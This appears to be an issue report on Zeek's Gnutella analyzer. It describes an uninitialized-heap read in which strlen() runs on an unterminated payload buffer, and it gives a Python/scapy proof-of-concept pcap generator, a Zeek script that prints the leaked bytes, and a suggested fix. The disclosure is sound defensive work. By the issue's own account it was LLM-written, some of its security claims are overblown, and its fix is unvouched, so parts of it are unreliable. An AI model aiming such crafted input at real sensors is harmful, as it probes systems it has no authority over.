#5855·zeek

Gnutella: Uninitialized-heap read on Gnutella payload buffer leaks heap into script-land

Author: evantypanskiCreated Aug 28, 2026Updated Aug 28, 2026

This was originally opened as a security issue, but the team decided that it's not relevant from a security context. It is, however, a bug. Its security claims are overblown, but I did not edit most of them. Events are considered locked down in Zeek. Gnutella is also disabled by default.

This issue was generated entirely by an LLM.


Summary

Gnutella_Analyzer::SendEvents() builds a StringVal directly from the fixed-size char payload[1024] member of GnutellaMsgState. That buffer is filled by memcpy from network bytes, is never NUL-terminated, and is never zero-initialized (the class has a user-provided constructor that does not touch the array, so new leaves it indeterminate). p->payload decays to char* and selects the StringVal(std::string_view) constructor, whose implicit string_view(const char*) conversion calls strlen() on the buffer. An attacker who sends a Gnutella binary message header with a zero payload-length field makes strlen() walk the entirely unwritten 1024-byte array (plus padding, terminating at the zero-initialized payload_len member that follows), and the resulting uninitialized heap bytes are delivered to script-land as the payload argument of gnutella_binary_msg — where they may be logged or exported. The same pattern exists for the 23-byte msg buffer in the gnutella_partial_binary_msg path.

Technical details

Sinksrc/analyzer/protocol/gnutella/Gnutella.cc:202-207 (SendEvents):

https://github.com/zeek/zeek/blob/62443ad95d88c82ea5957176e113086fc99b5a05/src/analyzer/protocol/gnutella/Gnutella.cc#L202-L207

p->payload is char[1024] (Gnutella.h:32, GNUTELLA_MAX_PAYLOAD = 1024 at Gnutella.h:13); the call selects StringVal(std::string_view) (src/Val.h / Val.cc), which invokes strlen(). A sibling sink is Gnutella.cc:65 (make_intrusive<StringVal>(p->msg), 23-byte msg buffer, gnutella_partial_binary_msg).

Why the buffer is uninitialized and unterminated:

  1. GnutellaMsgState::GnutellaMsgState() (Gnutella.cc:17-30) initializes the scalar members but never touches payload[] or msg[]. Because the class has a user-provided default constructor, new detail::GnutellaMsgState() (Gnutella.cc:40-41) does not zero-initialize the arrays; they hold indeterminate heap bytes.
  2. The only write into payload[] is memcpy(&ms->payload[ms->payload_len], &data[ms->current_offset], sz) (Gnutella.cc:249) — raw wire bytes, no terminator appended, and no payload[payload_len] = 0 anywhere.
  3. Trigger: after both directions complete the Gnutella text handshake (GNUTELLA ... 200 + empty line; GnutellaOK/Established), DeliverMessages() parses a 23-byte binary header. With header bytes 19-22 (little-endian payload length) all zero, msg_len == 0 and SendEvents() fires immediately with payload_len == 0 and payload[] never written. strlen() scans the whole indeterminate array and stops at the first zero byte of the payload_len member that follows it (Gnutella.h:33) — 1024 bytes + 2 padding bytes = 1026 leaked bytes observed.

The over-read stays inside the GnutellaMsgState allocation (payload_len is 0 or capped at 1024, so its bytes always contain a NUL), which is why no sanitizer report fires; the defect is the disclosure of uninitialized heap content to script-land.

Reproduction

Requires enabling the analyzer and an event handler. Self-contained generator producing gnutella.pcap (LINKTYPE_RAW) and the enabling script gnutella.zeek:

python
#!/usr/bin/env python3
import os
from scapy.all import IP, TCP, wrpcap

CLI, SRV, SPORT, DPORT = "10.0.0.1", "10.0.0.2", 40000, 6346

def build():
    pkts = []
    cs, ss = 1000, 2000

    def seg(orig, payload=b"", flags="PA"):
        nonlocal cs, ss
        if orig:
            p = IP(src=CLI, dst=SRV) / TCP(sport=SPORT, dport=DPORT, flags=flags, seq=cs, ack=ss) / payload
            cs += len(payload)
        else:
            p = IP(src=SRV, dst=CLI) / TCP(sport=DPORT, dport=SPORT, flags=flags, seq=ss, ack=cs) / payload
            ss += len(payload)
        pkts.append(p)

    pkts.append(IP(src=CLI, dst=SRV) / TCP(sport=SPORT, dport=DPORT, flags="S", seq=cs)); cs += 1
    pkts.append(IP(src=SRV, dst=CLI) / TCP(sport=DPORT, dport=SPORT, flags="SA", seq=ss, ack=cs)); ss += 1
    pkts.append(IP(src=CLI, dst=SRV) / TCP(sport=SPORT, dport=DPORT, flags="A", seq=cs, ack=ss))

    # Gnutella text handshake, both directions
    seg(True, b"GNUTELLA 200 OK\r\n\r\n")
    seg(False, b"GNUTELLA 200 OK\r\n\r\n")

    # 23-byte binary header: 16-byte GUID (no NULs), type, ttl, hops, msg_len=0 (LE)
    seg(True, b"B" * 16 + bytes([0x00, 0x01, 0x00]) + b"\x00\x00\x00\x00")

    seg(True, b"", flags="FA"); cs += 1
    seg(False, b"", flags="FA"); ss += 1
    return pkts

zeek_script = """
event zeek_init()
    {
    Analyzer::register_for_ports(Analyzer::ANALYZER_GNUTELLA, set(6346/tcp));
    }

event gnutella_binary_msg(c: connection, orig: bool, msg_type: count, ttl: count,
                          hops: count, msg_len: count, payload: string,
                          payload_len: count, trunc: bool, complete: bool)
    {
    print fmt("gnutella_binary_msg: payload_len=%d strlen_payload=%d", payload_len, |payload|);
    print fmt("leaked payload hex: %s", bytestring_to_hexstr(payload));
    }
"""

wrpcap("gnutella.pcap", build(), linktype=101)
open("gnutella.zeek", "w").write(zeek_script)
print("wrote gnutella.pcap + gnutella.zeek")

Run against an ASan build twice, changing the allocator fill byte to show the leaked bytes are exactly the never-written heap fill:

bash
zeek -r gnutella.pcap -C gnutella.zeek
ASAN_OPTIONS=$ASAN_OPTIONS:malloc_fill_byte=65:max_malloc_fill_size=4096 \
    zeek -r gnutella.pcap -C gnutella.zeek

Suggested fix

[!NOTE] This was generated by an LLM. I do not vouch for its validity.

Construct the StringVals with explicit lengths instead of relying on strlen():

cpp
// Gnutella.cc:205
make_intrusive<StringVal>(p->payload_len, p->payload)
// Gnutella.cc:65
make_intrusive<StringVal>(p->msg_pos, p->msg)

Optionally also zero-initialize msg and payload in the GnutellaMsgState constructor as defense in depth.